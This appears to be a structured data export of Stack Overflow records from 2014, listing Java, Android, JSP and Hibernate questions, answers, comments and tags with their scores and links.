has body: Instead of reading the last field using next(), use nextLine() instead. This will advance the scanner past the end-of-line, but not return the end-of-line character in the result. scanner.hasNextLine() will then be false, so the loop will not begin again. while (scanner.hasNextLine()) { String lastname = scanner.next(); String firstname = scanner.next(); String number = scanner.nextLine(); list.add(new Entry(firstname, lastname, number)); }
type: Answer
answers question: http://stackoverflow.com/q/22220933
score: 0

http://stackoverflow.com/q/22202605
favorite count: 0
tagged with: el
type: Question
has title: Expression Language in JSP : Arithmetic Operator Division
upvote count: 2
has answer: http://stackoverflow.com/a/49251414
tagged with: java
has body: I need a clarification regarding following EL snippet in JSP $ {5/x} : ${5/x} $ {10/0} : ${10/0} $ {5/2} : ${5/2} $ {x/10} : ${x/10} $ {5 div null} : ${5 div null} $ {x/x} : ${x/x} $ {0/0} : ${0/0} $ {x/null} : ${x/null} $ {null div x} : ${null div x} $ {null/null} : ${null/null} The output of above jsp would be $ {5/x} : Infinity $ {10/0} : Infinity $ {5/2} : 2.5 $ {x/10} : 0.0 $ {5 div null} : Infinity $ {x/x} : 0 $ {0/0} : NaN $ {x/null} : 0 $ {null div x} : 0 $ {null/null} : 0 I've read that EL is intelligent enough in handling null values or any object that is not in any scope. Also, Division operator in EL follows Floating Point Arithmetic. For any variable that is not found in any scope or for null keyword, EL puts a value 0 there. If so, why is ${x/x}, ${x/null}, ${null div x} and ${null/null} resulting in 0? My guess is, it should be NaN, as in case of ${0/0}. (Since, null or un-available variable is '0') Note: In above snippet, x is a variable that is not available in any scope. Please help me understand this behavior. Thanks!
answer count: 1
downvote count: 1
tagged with: jakarta-ee
has comment: http://stackoverflow.com/comment/33706213
type: UnansweredQuestion
tagged with: servlets
tagged with: jsp
score: 1

http://stackoverflow.com/comment/34113313
type: Comment
comment on: http://stackoverflow.com/a/22292134
has text: Thanks for the information, I do use the Apache Http client for my other projects to connect etc. successfully - what I was looking for is to use HttpURLConnection since it is the one that Google is recommending to use going forward. Having said that, It seems that I may be stuck with the Htttp client.
type: AnswerComment
score: 0

http://stackoverflow.com/comment/33784304
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22242698
score: 0
has text: I forgot all about updating the size of the original list. I've edited the answer. Your code should not need b.front = front because that is what addTail() should do.

http://stackoverflow.com/comment/33887602
type: Comment
has text: I have edited my post for the toString method @NickHolt I had ignored the coding practises for now...
comment on: http://stackoverflow.com/a/22300622
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33666516
has text: Don't post code in a comment, you can just edit your question (there's a link under the tags) to include it.
comment on: http://stackoverflow.com/q/22179048
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33762916
type: QuestionComment
comment on: http://stackoverflow.com/q/22234128
has text: I have added comments to the code with the stack trace below the line of code it relates to
score: 0
type: Comment

http://stackoverflow.com/a/22296603
upvote count: 4
has comment: http://stackoverflow.com/comment/33876294
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33881339
has body: Builder is a static nested class of Hello, therefore it should be able to access private constructor Sample$Hello(int). However, JVM doesn't have any special support for nested classes, therefore, from the JVM point of view, Builder cannot access Sample$Hello(int). In order to solve this problem compiler generates synthetic constructor Sample$Hello(int,Sample$1) with default visibility, and calls it instead of Sample$Hello(int) from Builder. Sample$1 is an empty class generated by the compiler to make distinguished signature for Sample$Hello(int,Sample$1). Actually, the second argument of this constructor is always null.
type: Answer
score: 4
accepted answer of: http://stackoverflow.com/q/22295638
answers question: http://stackoverflow.com/q/22295638

http://stackoverflow.com/comment/33811515
comment on: http://stackoverflow.com/a/22260553
has text: In no time the asteroids are falling with so much that the player won't notice any score loss to impact on the same time
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/33824782
comment on: http://stackoverflow.com/q/22267197
score: 0
type: Comment
type: QuestionComment
has text: when I try to get search1 or param1, I get a null value :(

http://stackoverflow.com/comment/33739660
comment on: http://stackoverflow.com/q/22215861
has text: @haraldK It is often possible to further compress jpegs without losing quality. Apparently it's based (atleast) on optimizing the Huffman tables. Besides that, metadata and sometimes color profile can be stripped.
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/a/22313285
has body: Just use the Fisher-Yates shuffle (Knuth algorithm P): private Random rand = new Random(); public static void shuffle(String[] array) { // mix-up the array for (int i = array.length - 1; i &gt; 0; --i) { int j = rand.nextInt(i + 1); String temp = array[i]; array[i] = array[j]; array[j] = temp; } } See: Knuth, D. 1969, 1998: Seminumerical Algorithms 1st &amp; 3rd Eds. The Art of Computer Programming Series, Volume 2, p. 125. Fisher, Ronald A.; Yates, Frank (1948) [1938]. Statistical tables for biological, agricultural and medical research (3rd ed.). London: Oliver &amp; Boyd. pp. 26–27. http://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle https://stackoverflow.com/a/1520212/636009
type: Answer
score: 3
upvote count: 3
downvote count: 0
answers question: http://stackoverflow.com/q/22312827

http://stackoverflow.com/comment/33882234
has text: Thanks, that is exactly what I did, I am going to show example code here.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22249154

http://stackoverflow.com/a/22204256
answers question: http://stackoverflow.com/q/22203441
type: Answer
has comment: http://stackoverflow.com/comment/33710743
has comment: http://stackoverflow.com/comment/33740655
has body: If these are regular tests, which are executed in the test phase, then the fact that you're starting jetty in the pre-integration-test is your problem. You should be running it in the test-compile phase.
score: 0
has comment: http://stackoverflow.com/comment/33711186

http://stackoverflow.com/q/22264617
favorite count: 0
type: UnansweredQuestion
tagged with: android
has answer: http://stackoverflow.com/a/22264664
has title: Unable to display image in imageview
score: 1
tagged with: java
upvote count: 1
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/33819128
has comment: http://stackoverflow.com/comment/33818929
tagged with: imageview
downvote count: 0
has answer: http://stackoverflow.com/a/22264675
has body: I'm trying to display a image in the imageview. protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); ImageView imageView = (ImageView)findViewById(R.id.imageView1); try { File imgFile = new File("C:\\photos\\a.jpg"); Bitmap myBitmap = BitmapFactory.decodeFile(imgFile.getAbsolutePath()); if (myBitmap == null) { Log.e("BITMAP", "myBitmap is NULL"); } imageView.setImageBitmap(myBitmap); }catch (Exception e) { e.printStackTrace(); } } I can see the error message "myBitmap is NULL". Is there anything i need to do, to ensure the path is recognized. Thanks!

http://stackoverflow.com/q/22265722
type: Question
has comment: http://stackoverflow.com/comment/33820691
answer count: 2
has answer: http://stackoverflow.com/a/22265745
has title: Easiest way to describe instance
has answer: http://stackoverflow.com/a/22265756
score: 0
has body: I am teaching someone the basics of Java. I am trying to give him a good definition of static without using 'instance'. My definition so far has been: static: A keyword that declares that there is only one instance of it. Any better way to define static without having to go into objects ?
type: UnansweredQuestion
tagged with: java
tagged with: definition

http://stackoverflow.com/a/22519386
score: 2
answers question: http://stackoverflow.com/q/22297830
upvote count: 2
has comment: http://stackoverflow.com/comment/75846596
has body: You could try to wrap the Outputstream for the Entity. First, by using a javax.ws.rs.client.ClientRequestFilter to add a custom Outputstream to the ClientRequestContext. Client client = ClientBuilder.newClient().register(MyLoggingFilter.class); public class MyLoggingOutputStreamWrapper extends OutputStream{ static final Logger logger = Logger.getLogger(...); ByteArrayOutputStream myBuffer = new ... private OutputStream target; public MyLoggingOutputStreamWrapper(OutputStream target){ ... // will be smarter to implement write(byte [], int, int) and call it from here public void write(byte [] data){ myBuffer.write(data); target.write(data); } ... // other methods to delegate to target, especially the other write method public void close(){ // not sure, if converting the buffer to a string is enough. may be in a different encoding than the platform default logger.log(myBuffer.toString()); target.close(); } } @Provider public class MyLoggingFilter implements ClientRequestFilter{ // implement the ClientRequestFilter.filter method @Override public void filter(ClientRequestContext requestContext) throws IOException { requestContext.setEntityOutputstream(new MyLoggingOutputStreamWrapper(requestContext.getEntityOutputstream())); } I'm not sure at which point the outputstream is used to serialize the data. It could be at the moment you invoke buildPut(), but more likely it will be on the fly at access of the webclient. Another approach would be getting the underlying HttpClient and registering some listener there to get the body.
downvote count: 0
type: Answer

http://stackoverflow.com/q/22277491
score: -2
answer count: 1
accepted answer: http://stackoverflow.com/a/22277507
tagged with: string
has title: Replace blank in the place of some phrases in a random string
tagged with: android
has body: I want to write fill in the blank app with java. I have a paragraph that's string and I want to put some blanks in the string in the place of some phrases. The string is dynamic string. How can I do it? This is the method that I take string value from api. The string vale is dynamic. public void getText(){ AsyncHttpClient client = new AsyncHttpClient(); //client.get("http://en.wikipedia.org/w/api.php?action=query&amp;format=json&amp;prop=revisions&amp;rvsection=0&amp;titles=Article&amp;rvprop=content&amp;generator=random", new AsyncHttpResponseHandler() { client.get("http://en.wikipedia.org/w/api.php?action=query&amp;generator=random&amp;prop=extracts&amp;exchars=1000&amp;format=json", new AsyncHttpResponseHandler() { @Override public void onSuccess(String response) { Log.d("response", "response string" + response); try { JSONObject jsonObject= new JSONObject(response); JSONObject queryObj= jsonObject.getJSONObject("query"); JSONObject pagesObj= queryObj.getJSONObject("pages"); Iterator&lt;?&gt; keys= pagesObj.keys(); while( keys.hasNext() ){ String key = (String)keys.next(); JSONObject randomObj= pagesObj.getJSONObject(key); //here getting dynamic random string String strExtract=randomObj.getString("extract"); String noHTMLString = strExtract.replaceAll("\\&lt;.*?&gt;",""); setBlankInString(noHTMLString); Log.d("response", "strExtract"+ noHTMLString); /* if(noHTMLString.length()&lt;300) { String constantStr= setConstantString(); txt.setText(constantStr); } else txt.setText(noHTMLString);*/ } } catch (JSONException e) { // TODO Auto-generated catch block; e.printStackTrace(); } } public void setBlankInString(String str) { String fullString= str; //fullString value is random value }
has comment: http://stackoverflow.com/comment/33842016
favorite count: 0
has comment: http://stackoverflow.com/comment/33841943
upvote count: 1
has answer: http://stackoverflow.com/a/22277507
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33842049
tagged with: java
downvote count: 3
type: Question
has comment: http://stackoverflow.com/comment/33841845

http://stackoverflow.com/a/22309258
upvote count: 2
type: Answer
score: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/33899500
has comment: http://stackoverflow.com/comment/33899403
has body: A recursive method calls itself with an adjusted set of parameters - and as your method is main and does not call main it is not recursive.
has comment: http://stackoverflow.com/comment/33899528
answers question: http://stackoverflow.com/q/22309224

http://stackoverflow.com/q/22222720
has comment: http://stackoverflow.com/comment/33744346
has comment: http://stackoverflow.com/comment/33746821
has comment: http://stackoverflow.com/comment/33742251
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33742571
has body: I used the code from here I am following it as it is, but while executing I got errors as below 2014-03-06 16:27:33,203 - [SMTPSender] SMTPSender - Delivery failed for message from: nbarath2008@gmail.com to: nbarath2008@gmail.com - java.lang.RuntimeException: SMTP Response too short. Aborting Send. Response: java.lang.RuntimeException: SMTP Response too short. Aborting Send. Response: at com.ericdaugherty.mail.server.services.smtp.SMTPRemoteSender.read(SMTPRemoteSender.java:380) at com.ericdaugherty.mail.server.services.smtp.SMTPRemoteSender.sendIntro(SMTPRemoteSender.java:270) at com.ericdaugherty.mail.server.services.smtp.SMTPRemoteSender.sendMessage(SMTPRemoteSender.java:122) at com.ericdaugherty.mail.server.services.smtp.SMTPSender.deliverRemoteMessage(SMTPSender.java:361) at com.ericdaugherty.mail.server.services.smtp.SMTPSender.deliver(SMTPSender.java:184) at com.ericdaugherty.mail.server.services.smtp.SMTPSender.run(SMTPSender.java:100) at java.lang.Thread.run(Thread.java:744)` Please guide me, thank you.
answer count: 0
has comment: http://stackoverflow.com/comment/33744132
tagged with: java
has comment: http://stackoverflow.com/comment/33742143
type: Question
has comment: http://stackoverflow.com/comment/33742383
has comment: http://stackoverflow.com/comment/33743445
tagged with: jsp
has comment: http://stackoverflow.com/comment/33741856
has title: while working with java mail in jsp
score: 0
has comment: http://stackoverflow.com/comment/33742447
tagged with: email

http://stackoverflow.com/comment/33927976
score: 0
has text: **INFO - Create JDBC datasource for jdbc:h2:/home/user/...** This shows that you are still using H2 database.
comment on: http://stackoverflow.com/q/22306370
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33861769
has text: Thanks for the reply.I looked up on URI Specs .As per IPV6 I can use '[' ']' chars as they are reserver while '{' is a part of '}' excluded characters.Does any one know what is '[' reserved for ']' http://www.ietf.org/rfc/rfc2732.txt
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22288201
type: Comment

http://stackoverflow.com/comment/33646775
type: Comment
has text: I was trying around but 'WakefulIntentService' is not resolved in my demo app. Can you please define how to reference it.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/22169210

http://stackoverflow.com/comment/33669729
score: 0
has text: `I guess that my class members are reset to null by the power off event before onPause() is called`. Impossible. In general, you should not update the UI in onPause() or onStop(). Why are you trying to do that anyway, since the activity is going to the background?
comment on: http://stackoverflow.com/q/22180294
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/33670997
type: Comment
has text: I think that it is bad idea to pass a constant. It should be public and visible almost to all related classes. If you want to restrict to change variable - simply restrict setters access that's it. In other hand, I mostly use final then I am using anonymous classes and try to pass a variable inside this class method. :)
comment on: http://stackoverflow.com/q/22182640
score: 0
type: QuestionComment

http://stackoverflow.com/q/22280295
has comment: http://stackoverflow.com/comment/33847201
type: UnansweredQuestion
has body: I'm investigating ways to ensure a java class only calls a limited set of allowed methods from other classes. The usecase I have receives the class via the standard java serialization. The approach I want to try is to simply list the methods it calls and only run the code if it passes a short whire list. The question I have : how do I list the methods used in that class?
has comment: http://stackoverflow.com/comment/33846973
linked to: http://stackoverflow.com/q/502218
has comment: http://stackoverflow.com/comment/33846740
tagged with: java
has comment: http://stackoverflow.com/comment/33846871
has comment: http://stackoverflow.com/comment/33847034
has answer: http://stackoverflow.com/a/22280328
has title: Listing the methods called from a java class?
type: Question
has comment: http://stackoverflow.com/comment/33846609
answer count: 2
has answer: http://stackoverflow.com/a/22280528
has comment: http://stackoverflow.com/comment/33851918
has comment: http://stackoverflow.com/comment/34360341
score: 0

http://stackoverflow.com/comment/54790948
comment on: http://stackoverflow.com/q/22172230
type: QuestionComment
has text: Can you mention the issue number?
score: 0
type: Comment

http://stackoverflow.com/q/22298118
has title: build-impl.xml:1048: The module has not been deployed. See the server log for details. BUILD FAILED (total time: 36 seconds)
tagged with: java
tagged with: ubuntu
score: 0
has body: I am using ubuntu, tomcat apache, NetBeans with java web based project. I am correctly able to default file of tomcat7 but trying to build a project; it is building correctly when I try to run a project I am getting above error. I didn't find any solution online found lot question like this, but none of them provide me resolution. Please give me the solution.
upvote count: 1
downvote count: 1
tagged with: jsp
tagged with: netbeans-7
has answer: http://stackoverflow.com/a/33154461
tagged with: tomcat
favorite count: 0
answer count: 3
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/24030916
has answer: http://stackoverflow.com/a/40847353
type: Question

http://stackoverflow.com/q/22227756
tagged with: maven
tagged with: spring
tagged with: java
tagged with: hibernate
has title: NoClassDefFoundError with Spring maven hibernate org/hibernate/ejb/HibernatePersistence in my jUnit Test
type: Question
has answer: http://stackoverflow.com/a/22228020
score: 0
tagged with: junit
answer count: 1
has body: When I try and run my junit tests (which used to work, but magically stopped) I get Caused by: org.springframework.beans.BeanInstantiationException: Could not instantiate bean class [org.springframework.orm.jpa.vendor.HibernateJpaVendorAdapter]: Constructor threw exception; nested exception is java.lang.NoClassDefFoundError: org/hibernate/ejb/HibernatePersistence at org.springframework.beans.BeanUtils.instantiateClass(BeanUtils.java:163) at org.springframework.beans.factory.support.SimpleInstantiationStrategy.instantiate(SimpleInstantiationStrategy.java:87) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.instantiateBean(AbstractAutowireCapableBeanFactory.java:1030) ... 47 more Caused by: java.lang.NoClassDefFoundError: org/hibernate/ejb/HibernatePersistence at org.springframework.orm.jpa.vendor.HibernateJpaVendorAdapter.<init>(HibernateJpaVendorAdapter.java:57) at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) My POM file does contain the org.hibernate dependency however: org.hibernate hibernate-core ${hibernate.version} org.hibernate hibernate-entitymanager ${hibernate.version} cglib cglib dom4j dom4j org.hibernate.javax.persistence hibernate-jpa-2.0-api 1.0.1.Final I've looked all over the internet but cannot find a solution. Any thoughts on why this may be? EDIT: Fixed the Issue by running mvn clean install -U Eclipse doesn't play nicely with Maven :(
type: UnansweredQuestion

http://stackoverflow.com/comment/33881147
comment on: http://stackoverflow.com/a/22296724
has text: I don't think a true unit test should be running things like interceptors, that's more a job for integration testing. A unit test should run the smallest unit of code possible, there is no need to involve framework code in this example.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/22198225
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22197722
downvote count: 0
has body: Aside from the namespaces issue I described in my answer to your previous question, your fundamental problem here is that the XPath.evaluate methods without a QName returnType parameter will evaluate the XPath expression as a string, and the XPath rules say that the string value of a node set containing more than one node is defined to be the string value of the first node in the set in document order. If you want to evaluate XPath expressions that return a set of nodes then you must use one of the XPath methods that takes a QName, pass XPathConstants.NODESET as the requested return type, and cast the result returned from evaluate to a org.w3c.dom.NodeList which you can then iterate over.
accepted answer of: http://stackoverflow.com/q/22197722
type: Answer
upvote count: 1
score: 1

http://stackoverflow.com/q/22211887
tagged with: one-to-many
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33729114
has comment: http://stackoverflow.com/comment/33757019
has comment: http://stackoverflow.com/comment/33729060
has title: Hibernate: One-To-Many mapping doesn't saved upon update
answer count: 0
has comment: http://stackoverflow.com/comment/33731877
tagged with: java
tagged with: hibernate
has comment: http://stackoverflow.com/comment/33726614
type: Question
has body: I have the following OneToMany relationships between Person and PhoneNumber: class Person { @OneToMany(mappedBy = "person", cascade={CascadeType.PERSIST, CascadeType.MERGE, CascadeType.REMOVE}) @Cascade({org.hibernate.annotations.CascadeType.DELETE_ORPHAN,org.hibernate.annotations.CascadeType.SAVE_UPDATE}) private Set&lt;PhoneNumber&gt; phoneNumbers = new HashSet&lt;PhoneNumber&gt;(); //.... omitted .... } class PhoneNumber { @ManyToOne(optional = false) private Person person; //... omitted ... } If I set the phone-number(s) during the initial creation of Person, those objects get persisted as expected. HOWEVER, if later on, I tried to update these phone-numbers, and do save on the Person object, only the Person object gets saved. The Phone-number objects do not. Any idea what I did wrong? I've tried various ways, but none seems to work.
score: 0

http://stackoverflow.com/comment/33663347
type: QuestionComment
has text: @javaseeker http://www.mkyong.com/java/how-to-convert-string-to-inputstream-in-java/ is where i found this solution
comment on: http://stackoverflow.com/q/22178670
score: 0
type: Comment

http://stackoverflow.com/comment/33805974
type: QuestionComment
comment on: http://stackoverflow.com/q/22257560
has text: What did you try? Did you google?
score: 0
type: Comment

http://stackoverflow.com/comment/33850931
score: 1
comment on: http://stackoverflow.com/q/22282752
has text: As a note, you should prefer using m2eclipse to manually generating Eclipse `.project` files. Much less likelihood of problems like this, which appears to be an issue of not mapping the `M2_REPO` item to the local repository.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33914469
has text: Please define - "cannot read".
comment on: http://stackoverflow.com/q/22318103
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/q/22282267
has answer: http://stackoverflow.com/a/22282449
upvote count: 4
has title: Java fixed size Thread Pool and optimal usage of all CPU cores
type: AnsweredQuestion
downvote count: 0
tagged with: java
tagged with: concurrency
has answer: http://stackoverflow.com/a/31014348
accepted answer: http://stackoverflow.com/a/31014348
type: Question
has body: How to use exactly 8 threads for the 'expensive' parts all the time? I have a number crunching problem for which I created a simple framework. My problem is to find an elegant and simple way to use all CPU cores optimally. To get good performance I use a thread pool with fixed size of 8. The idea is to use as many threads as there are hardware threads for optimal performance. Simplified pseudo code usage of the framework is as follows: interface Task { data[] compute(data[]); } Task task = new Loop(new Chain(new DoX(), new DoY(), new Split(2, new DoZ()))); result = task.compute(data); Loop Task would loop until some termination criteria is met Chain Task would chain tasks (e.g. in the above r = t1.compute(r); r = t2.compute(r); r = t3.compute(r); return r;) Split Task would split the data and execute a task on the parts (e.g. create 2 parts and return new data[] {t1.compute(part1), t1.compute(part2)}) The threading is implemented in the Split Task at the moment. So the Split Task would hand the computation of t1.compute(part1) and t1.compute(part2) to the thread pool. Approach 1, probably complete deadlock My first approach was that the Split Task has an array of futures and calls get() on one after another. But that means if the Split Task is inside another Split Task, that the blocking wait in future.get() will block the thread that the outer Split Task took from the thread pool. So I have less than 8 threads really working. If this hierarchy is deep, I maybe have nobody working and wait forever. 1) I assume future.get() will not return the thread to the thread pool, right? So if done like that I will wait in future.get() but no more threads to ever start the work? [I cannot easy test that because I already changed the approach] Approach 2, the current one, at least somebody working My current approach (not much better) is to do the final part (partN) of a split with the current thread. If finished I check if partN-1 was already started, if yes I wait for all task…
tagged with: threadpool
score: 4
possible better answer: http://stackoverflow.com/a/22282449
answer count: 3
has answer: http://stackoverflow.com/a/22284948
has comment: http://stackoverflow.com/comment/34145656
favorite count: 0
has comment: http://stackoverflow.com/comment/33850423
tagged with: future

http://stackoverflow.com/a/22296608
has body: Because when a activity or a service(both of them extends ContextWrapper which extends Context)is created by android,a Loopper object will be created also. In your code ,you use Looper.prepare(); But what does it really do? public static void prepare() { prepare(true); } private static void prepare(boolean quitAllowed) { if (sThreadLocal.get() != null) { throw new RuntimeException("Only one Looper may be created per thread"); } sThreadLocal.set(new Looper(quitAllowed)); } (You can find this code in Looper.java) Because the android os has invoke the mLooper.prepare(); method at the time the service is created,so the sThreadLocal has a Looper object.When your code is executed,the RuntimeException will be thrown.
upvote count: 3
score: 3
answers question: http://stackoverflow.com/q/22296317
downvote count: 0
type: Answer

http://stackoverflow.com/q/22282184
answer count: 1
tagged with: javascript
favorite count: 0
has body: The output HTML code is not complete, because the javascript in it is not executed. Do I need to run the javascript somehow? I want to get the content of a live-bidding website through java.
has comment: http://stackoverflow.com/comment/33850049
has answer: http://stackoverflow.com/a/22282285
score: -1
tagged with: dynamic
type: UnansweredQuestion
downvote count: 2
upvote count: 1
tagged with: http
type: Question
tagged with: java
has title: How can I get dynamic content from a http web request through java

multipleoutputs
tags question: http://stackoverflow.com/q/22218576
type: Tag
tag name: multipleoutputs

constraints
type: Tag
tags question: http://stackoverflow.com/q/22312921
tag name: constraints

http://stackoverflow.com/a/22184080
upvote count: 2
has comment: http://stackoverflow.com/comment/33673341
answers question: http://stackoverflow.com/q/22183968
has body: Just build it using charAt(): return "" + str.charAt(0) + (str.length() - 2) + str.charAt(str.length() - 1); The "" at the front causes the numeric values that follow to be concatenated as Strings (instead of added arithmetically). A slightly more terse alternative is: return countWord.replaceAll("(.).*(.)", "$1" + (str.length() - 2) + "$2")
has comment: http://stackoverflow.com/comment/33673228
type: Answer
score: 2
downvote count: 0

http://stackoverflow.com/comment/33687965
has text: by "reading from file" I mean reading input from a file in linux terminal by using '<'
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22192365
score: 0

http://stackoverflow.com/comment/33795206
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22203203
score: 0
has text: There is really nothing you can do about the popup in the browser or the fact that browsers remember the HTTP basic dialog (this is the downside to using HTTP Basic). Would you like to support form based login and http basic (i.e. http basic used by an automated processes and form login for a user?). For the monitoring 403 issue you should post the debug logs when you get the 403

http://stackoverflow.com/comment/33716592
score: 1
type: Comment
comment on: http://stackoverflow.com/q/22208103
type: QuestionComment
has text: possible duplicate of: [http://stackoverflow.com/questions/2004386/how-to-save-newlines-in-xml-attribute](http://stackoverflow.com/questions/2004386/how-to-save-newlines-in-xml-attribute)

http://stackoverflow.com/q/22282440
has comment: http://stackoverflow.com/comment/33850858
upvote count: 1
has title: What is velocity in particle swarm optimisation for cryptanalysis?
downvote count: 0
answer count: 1
favorite count: 0
has body: I'm trying to implement a particle swarm optimization algorithm for a cryptanalysis local search to find the key of a simple substitution cipher. I understand the theory of how this method work and have implemented most of the algorithm, but I just can't figure out how to calculate the velocity. Particle Class: public class Particle extends Alphabet { public Vector velocity = new Vector(); public char[] pbest; public Particle() { this.Scramble(); } public char[] getPosition() { return this.getAlphabet(); } } Swarm Class: public class ParticleSwarm { public List&lt;Particle&gt; swarm = new ArrayList&lt;&gt;(); private Fitness fitness = new Fitness(); public void randomSwarm(int swarmSize) { for(int i = 0; i &lt; swarmSize; i++) { swarm.add(new Particle()); } } public Particle getBestParticle() { Particle swarmBest = new Particle(); double bestScore = 0; for(int i = 0; i &lt; swarm.size(); i++) { double newScore = fitness.score(swarm.get(i).getPosition()); if(newScore &gt;= bestScore) { bestScore = newScore; swarmBest = swarm.get(i); } } return swarmBest; } } A particle is an extension of an alphabet class I made for another algorithm and is essentially a char array of the 26 alphabet letters which can be scrambled. The 'position' of a particle (as far as I'm aware it is simply just it's alphabet, or some numerical representation of it). The swarm class is pretty self explanatory but includes a fitness class which scores a particle with a score between 0 and 1 (1 being the best), representing the amount of English text which the key produces. I came across an implementation of this algorithm for (no code though) find the key to a vigenere cipher which suggests these steps: Proposed Algorithm for finding the actual key Initialization of PSO search algorithm parameters The PSO parameters are set in the first step. These parameters consist of number of particles (Np), the size of the key (Nd), maximum number of Iterations (Nt), Self-confidence factor (C1), Swarm confiden…
tagged with: cryptography
has answer: http://stackoverflow.com/a/22297635
accepted answer: http://stackoverflow.com/a/22297635
tagged with: cryptanalysis
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33853197
score: 1
tagged with: java
type: Question
tagged with: particle-swarm

http://stackoverflow.com/comment/33905803
comment on: http://stackoverflow.com/a/22312975
score: 0
type: Comment
has text: I think he should rather look for the right Id in there.
type: AnswerComment

http://stackoverflow.com/comment/33798170
has text: @AlexisLeclerc I normally would do that, but I specifically need the value to be in the field.
comment on: http://stackoverflow.com/q/22253497
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33879033
type: Comment
score: 0
comment on: http://stackoverflow.com/a/22224184
type: AnswerComment
has text: @PeterPanne https://github.com/libgdx/libgdx/blob/master/gdx/src/com/badlogic/gdx/assets/AssetManager.java#L445 That's the current sourcecode. Maybe you are using an older version. The API changes sometimes.

http://stackoverflow.com/q/22316563
accepted answer: http://stackoverflow.com/a/22316621
has comment: http://stackoverflow.com/comment/33911990
linked to: http://stackoverflow.com/q/22308085
has comment: http://stackoverflow.com/comment/33912479
type: Question
has body: I have to buttons that writes A and B to an edittext. If there is something in the edittext how can I delete the last letters with the "Del" button ? My layout: <requestFocus /> And my java: package com.koostamas.keyboard; import android.os.Bundle; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.EditText; import android.app.Activity; public class MainActivity extends Activity implements OnClickListener { Button buttona, buttondel; EditText editText; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); editText = (EditText) findViewById(R.id.editText); addListenerOnButton(); } public void addListenerOnButton() { buttona = (Button) findViewById(R.id.buttona); buttona.setOnClickListener(this); buttondel = (Button) findViewById(R.id.buttonb); buttondel.setOnClickListener(this); } public void onClick(View v) { switch(v.getId()) { case R.id.buttona : Button buttona = (Button)v; editText.setText(editText.getText().toString()+buttona.getText().toString()); break; case R.id.buttondel : String text = editText.getText().toString(); editText.setText(text.substring(0, text.length() - 1)); break; } } } How can I do it? Thanks inn advance.
has answer: http://stackoverflow.com/a/22316621
has answer: http://stackoverflow.com/a/22316588
score: 15
tagged with: android-button
downvote count: 2
answer count: 3
has title: How to delete the last letter from EditText with button?
upvote count: 17
has comment: http://stackoverflow.com/comment/33914128
favorite count: 0
duplicate of: http://stackoverflow.com/q/22308085
tagged with: android
possible better answer: http://stackoverflow.com/a/22316588
has comment: http://stackoverflow.com/comment/33912360
type: AnsweredQuestion
tagged with: android-edittext
has answer: http://stackoverflow.com/a/22316612
tagged with: java

http://stackoverflow.com/q/22235319
has answer: http://stackoverflow.com/a/26894145
score: 0
has answer: http://stackoverflow.com/a/22235446
has answer: http://stackoverflow.com/a/22235504
has answer: http://stackoverflow.com/a/22235579
favorite count: 0
has answer: http://stackoverflow.com/a/22235485
has answer: http://stackoverflow.com/a/22235465
possible better answer: http://stackoverflow.com/a/22235504
answer count: 12
accepted answer: http://stackoverflow.com/a/22235446
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/64581245
has body: How might I approach solving the following problem: Create an array of integers that are contained in at least two of the given arrays. For example: int[] a1 = new int[] { 1, 2, 3, 4, 5 }; int[] a2 = new int[] { 5, 10, 11, 8 }; int[] a3 = new int[] { 1, 7, 6, 4, 5, 3, 11 }; must give a result array int[] result = new int[] {1, 3, 4, 5, 11} P.S. i'm interested in suggestions on how I might approach this ("algorithm"), not what Java utils might give me the answer
upvote count: 3
tagged with: java
downvote count: 3
has answer: http://stackoverflow.com/a/65967494
has title: Find numbers present in at least two of the three arrays
type: Question
has answer: http://stackoverflow.com/a/26893620
has answer: http://stackoverflow.com/a/25129268
tagged with: algorithm
has answer: http://stackoverflow.com/a/36938390
tagged with: arrays
has answer: http://stackoverflow.com/a/22235675

jsp
tags question: http://stackoverflow.com/q/22304913
tags question: http://stackoverflow.com/q/22287925
tags question: http://stackoverflow.com/q/22269097
tags question: http://stackoverflow.com/q/22287880
tags question: http://stackoverflow.com/q/22170335
tags question: http://stackoverflow.com/q/22241100
tags question: http://stackoverflow.com/q/22210198
tags question: http://stackoverflow.com/q/22322793
tags question: http://stackoverflow.com/q/22312886
tags question: http://stackoverflow.com/q/22301624
tags question: http://stackoverflow.com/q/22287148
tags question: http://stackoverflow.com/q/22227213
tags question: http://stackoverflow.com/q/22285761
tags question: http://stackoverflow.com/q/22199769
tags question: http://stackoverflow.com/q/22313551
tags question: http://stackoverflow.com/q/22292148
tags question: http://stackoverflow.com/q/22285223
tags question: http://stackoverflow.com/q/22224341
tags question: http://stackoverflow.com/q/22294142
